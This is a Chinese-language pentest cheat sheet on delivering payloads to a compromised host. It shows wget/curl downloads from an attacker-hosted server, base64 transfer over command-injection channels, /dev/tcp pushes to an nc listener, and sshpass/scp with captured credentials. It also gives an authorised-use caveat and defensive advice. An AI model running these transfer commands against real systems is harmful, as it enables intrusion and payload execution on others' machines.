跳到主要内容

文件传输与载荷分发技巧

拿到执行能力但没有交互通道时,把工具送进去本身就是一道坎。传输方式按目标可用条件选择:有 wget/curl 走 HTTP,只有命令注入通道走 base64,连下载工具都没有就用 bash 内置的 /dev/tcp。标准流程是:静态编译、瘦身、托管、下载、校验、执行。

仅限授权环境

向目标主机分发并执行载荷仅用于授权测试;传输的二进制要留档,测试后清理。


HTTP 分发

攻击机托管:

python3 -m http.server 8000

目标下载:

wget http://<kali>:8000/file
curl -O http://<kali>:8000/file

exploit 静态编译后分发是标准流程:make && strip 去符号瘦身再托管,目标机器无需运行时依赖。


base64 命令通道

无 wget/curl,或只有命令注入通道时:

# 攻击机:输出 base64,复制
base64 -w0 file

# 目标:还原
echo '<b64>' | base64 -d > file

校验:两端 md5sum 比对一致才算传完。echo 不带 -n 的换行坑见 MD5 换行符哈希破解

Webshell 通道传大文件时,用分块 base64 + MD5 校验的辅助客户端逐块推送,避免单次请求超限。


nc + /dev/tcp

目标没有任何下载工具时,用 bash 内置重定向:

# 攻击机
nc -lvnp 4444 > file

# 目标(bash 内置,sh 不一定支持)
cat file > /dev/tcp/<kali>/4444

scp + sshpass

已有 SSH 凭据时最省事:

sshpass -p '<pass>' scp file user@host:/tmp/

落点与架构

注意点说明
/tmp 可能 nosuidSUID 载荷放 /var/tmp 或家目录
架构匹配传输前用 fileuname -m 确认目标架构
执行权限下载后记得 chmod +x

复核要点

  • 传输完成后必做 MD5 比对,防止注入通道吞字符导致静默损坏。
  • 目标执行报 cannot execute binary file 时先查架构,而不是怀疑编译。
  • 记录所有落盘文件与位置,测试结束统一清理。

防御建议

  1. 出口流量管控:服务器不应能主动访问任意外部地址的任意端口。
  2. 主机侧监控异常外连与 http.servernc 等工具进程。
  3. 对可执行文件落地建立告警(EDR / 文件审计)。
  4. 关键目录(/tmp、/var/tmp)挂载 noexec / nosuid。
  5. 收敛命令注入入口,从源头消灭无文件下载能力的传输通道。